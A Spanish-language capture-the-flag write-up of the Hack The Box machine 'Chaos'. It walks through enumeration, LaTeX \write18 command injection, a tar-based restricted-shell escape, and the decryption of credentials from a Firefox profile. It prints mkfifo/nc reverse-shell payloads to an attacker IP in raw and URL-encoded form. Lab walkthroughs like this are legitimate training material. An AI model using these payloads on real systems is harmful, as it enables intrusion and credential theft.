> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/hack-the-box/chaos.md).

# Chaos

<figure><img src="/files/5KGlbYAS8Oy3YBtw2HuL" alt=""><figcaption></figcaption></figure>

## Enumeración

### Enumeración de puertos

Comenzamos la resolución de la máquina Chaos, realizando una enumeración rápida de los servicios que se están ejecutando en el objetivo.

```
nmap -p- --open -Pn --min-rate 500 10.10.10.120
```

<figure><img src="/files/iZw5hspBbnVR7SArPaij" alt=""><figcaption></figcaption></figure>

Una vez conocemos los servicios disponibles, vamos a realizar una nueva enumeración más detallada para conocer más información de estos servicios.

```
nmap -p80,110,143,993,995,10000 -sVC -Pn 10.10.10.120
```

<figure><img src="/files/FETLYeFS0TGOGkhYoKXD" alt=""><figcaption></figcaption></figure>

***VERSIONES***

* Puerto 80 -> HTTP ->Apache httpd 2.4.34
* Puerto 110 -> pop3 -> Dovecot pop3d
* Puerto 143 -> imap -> Dovecot imapd
* Puerto 993 -> imap / ssl -> Dovecot imapd
* Puerto 995 -> pop3 / ssl -> Dovecot pop3d
* Puerto 10000 -> http -> MiniServ 1.89

### Enumeración Web

En el puerto 80, se está ejecutando en servicio Web. Vamos a enumerar su contenido.

<figure><img src="/files/R16qQfbY6Ln9T9Huoj6O" alt=""><figcaption></figcaption></figure>

Enumeramos directorios y archivos.

<figure><img src="/files/mVPEdcppU0vR8D3aVFJL" alt=""><figcaption></figcaption></figure>

## Explotación

Durante la enumeración con dirsearch, encontramos la siguiente publicación protegida por contraseña.

<figure><img src="/files/c6PvzJvTcdzRPPbP8m0F" alt=""><figcaption></figcaption></figure>

Haciendo una enumeración tradicional de usuarios, encontramos el nombre de author: human, que utilizaremos como contraseña para desproteger la publicación.

<figure><img src="/files/FSyvheB6hgxTD1NuBZHX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/rZbamcKdsnpHhiO6gyAF" alt=""><figcaption></figcaption></figure>

Encontramos las credenciales para el servicio Webmail. Vamos a comprobar si existe un subdominio o directorio con este nombre.

<figure><img src="/files/ZXcG1QzRxIlUbwfKjraF" alt=""><figcaption></figcaption></figure>

Encontramos un posible inicio de sesión. Vamos a comprobar si las credenciales son válidas. Utilizando las credenciales localizadas anteriormente, podemos acceder al servicio Webmail.

<figure><img src="/files/NrLNwNt0HQ7N1hYNp4i5" alt=""><figcaption></figcaption></figure>

Una vez hemos accedido, encontramos este email en Drafts. Contiene una serie de claves interesantes y dos archivos adjuntos que vamos a descargar en nuestra máquina de ataque.

<figure><img src="/files/ODNYhFjpmg4JOjmlsQ2K" alt=""><figcaption></figcaption></figure>

Parece que tenemos una password.

<figure><img src="/files/8O5Bmw1src63f8voR45E" alt=""><figcaption></figcaption></figure>

Y un mensaje cifrado. Y lo que parece el archivo utilizado para cifrar el mensaje.

<figure><img src="/files/tZnGbqTuQjzQjkgNnUbn" alt=""><figcaption></figcaption></figure>

Vamos a tratar de buscar un descifrador para este mensaje.

<figure><img src="/files/HnkdR1G2WqegI695KOFK" alt=""><figcaption></figcaption></figure>

Encontramos un posible descifrador para el archivo cifrado que tenemos.

<figure><img src="/files/nD3LC95PSpfB7L1ZukzM" alt=""><figcaption></figcaption></figure>

Vamos a tratar de descifrar nuestro archivo.

<figure><img src="/files/RUobCJxfpfzMOa1tf3lC" alt=""><figcaption></figcaption></figure>

La ejecución del script decrypt.py genera un archivo txt que contiene un cifrado en base64. Vamos a descifrarlo.

<figure><img src="/files/LT9JqNompIWX0E0myzkm" alt=""><figcaption></figcaption></figure>

Encontramos un URL en el mensaje cifrado. Vamos a ver el contenido de la dirección encontrada.

<figure><img src="/files/sVLwrTIArNIsjkbHRRvR" alt=""><figcaption></figcaption></figure>

Vamos a interceptar una petición, para comprobar que funciones tiene el endpoint encontrado.

<figure><img src="/files/dane4Po9N8l8BzsFHIAy" alt=""><figcaption></figcaption></figure>

Lo interesante es ver que \write18 está habilitado. Según esta [entrada de blog](https://otrashoui.xyz/chaos/#pdf-generator-exploit:~:text=The%20interesting%20thing%20is%20to%20see%20%5Cwrite18%20enabled.%20As%20per%20this%20blog%20post%2C%20we%20can%20assume%20that%20pdflatex%20is%20run%20with%20the%20%2D%2Dshell%2Descape%20flag%20which%20enables%20us%20to%20run%20any%20command%3A), podemos suponer que pdflatex se ejecuta con el flag --shell-escape, lo que nos permite ejecutar cualquier comando.

<figure><img src="/files/e25Agd0L3VnpKnHLHHF5" alt=""><figcaption></figcaption></figure>

Podemos ejecutar comandos aprovechando una vulnerabilidad de LaTeX.

<figure><img src="/files/ZC7mcL1jTq9QCUsIdpA0" alt=""><figcaption></figcaption></figure>

Vamos a ejecutar el siguiente payload:

```
\immediate\write18{rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.3 1234 >/tmp/f}
```

Convertimos a URL encoded:

```
\immediate\write18{rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.16.3+1234+>/tmp/f}
```

En nuestra máquina de ataque configuramos un oyente nc en el puerto 1234.

<figure><img src="/files/nY0O40LI0fjX6qy2FxqD" alt=""><figcaption></figcaption></figure>

Tenemos acceso a la máquina objetivo. Convertimos la terminal en interactiva.

```
python -c 'import pty;pty.spawn ("/bin/bash")'
```

<figure><img src="/files/2PFEwbnKDjajcNjMTinH" alt=""><figcaption></figcaption></figure>

Vamos al directorio de usuarios, para tratar de localizar primero la flag de usuario y segundo, posibles vectores de elevación de privilegios.

## Pivotando de www-data a ayush

Cuando nos dirigimos al directorio de usuarios, encontramos dos nombres sahay y ayush.

<figure><img src="/files/OOz2JXo8VAltr55OYjU8" alt=""><figcaption></figcaption></figure>

Para el usuario ayush, encontramos unas credenciales durante la enumeración de WP. Vamos a comprobar si estas credenciales son válidas en este momento.

<figure><img src="/files/LHtKrBfqRj45DqXWIG4z" alt=""><figcaption></figcaption></figure>

Las credenciales son válidas pero accedemos con una terminal restricted. Vamos a tratar de saltar esta shell para obtener una completamente funcional. Guía interesante para [esto](https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf). Buscamos diferentes binarios que podemos ejecutar desde restricted shell y el comando tar es uno de ellos.

<figure><img src="/files/wy697sJxj6K5tLYhlVYJ" alt=""><figcaption></figcaption></figure>

Volvemos a www-data y vamos al directorio /tmp. En este directorio creamos un archivo securiters. El siguiente paso será añadir este archivo creado a un archivo securiters.tar. Una vez completado este proceso, volvemos a acceder al sistema con las credenciales del usuario ayush, donde ejecutaremos el archivo creado anteriormente para omitir el shell. Finalmente, arreglamos la ruta para obtener una shell funcional.

```
1. touch securiters
2. tar -cvf securiters.tar securiters
3. Acceder al sistema con las credenciales ayush:jiujitsu
4. tar cf /dev/null securiters.tar --checkpoint=1 --checkpoint-action=exec=/bin/bash
<r --checkpoint=1 --checkpoint-action=exec=/bin/bash
5. export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
6. id
```

<figure><img src="/files/Vsuxut3eHcOWVVyeZnXS" alt=""><figcaption></figcaption></figure>

Una vez obtenemos la shell completamente funcional, vamos a localizar la flag de usuario.

<figure><img src="/files/evUXIlDOEBuodJYHYiBz" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Dentro del directorio del usuario ayush, encontramos otro directorio .mozilla. Veamos su contenido.

<figure><img src="/files/jEPLiDy1XUFW14Uyr4YZ" alt=""><figcaption></figcaption></figure>

Dentro del firefox, encontramos un perfil.

<figure><img src="/files/YTyCl6dEGFEhX2IOILmZ" alt=""><figcaption></figcaption></figure>

Vamos a transferir toda la información contenida en este perfil a nuestra máquina de ataque de la siguiente manera. En la máquina objetivo, configuramos en servidor Python en el puerto 1337.

<figure><img src="/files/ToF9r8pJ97GAqxctd9P3" alt=""><figcaption></figcaption></figure>

En nuestra máquina de ataque creamos un directorio firefox donde descargaremos todos los archivos y ejecutamos el siguiente comando para descargar todos los archivos.

```
wget http://chaos.htb:1337/ --recursive
```

<figure><img src="/files/Mao5xOII1F9vKJKPTiUQ" alt=""><figcaption></figcaption></figure>

Una vez descargados todos los archivos, vamos a utilizar la herramienta firefox\_decrypt.py para descifrar información interesante de los archivos descargados. Se pide una contraseña, probamos con la credencial del usuario ayush:jiujitsu y es correcta.

<figure><img src="/files/HR0Z6nBy9gFhPuIy0eEv" alt=""><figcaption></figcaption></figure>

Después de descifrar, obtenemos unas credenciales y un nuevo endpoint donde pueden ser válidas.

<figure><img src="/files/cCEJ8GEVGe53s7Jp7Ipv" alt=""><figcaption></figcaption></figure>

Accedemos al Área de Administración del Servidor Web. Webmin tiene una funcionalidad de terminal que vamos a analizar.

<figure><img src="/files/KYQBplh3TAPQPUyJL8Fn" alt=""><figcaption></figcaption></figure>

Ya tenemos privilegios pero vamos a acceder desde nuestra terminal de ataque. El payload utilizado es el siguiente:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.3 1234 >/tmp/f
```

<figure><img src="/files/5w9X9WBMVuhN6bfcWBJl" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/zprUlMTZqhRzETxFCe7l" alt=""><figcaption></figcaption></figure>

Solo quedará buscar la flag root para completar la resolución de la máquina Chaos.

<figure><img src="/files/d5N2yG1JjaSNCuXJQiNx" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?ab_channel=Securiters&v=8hu3nPI3qLs>" %}
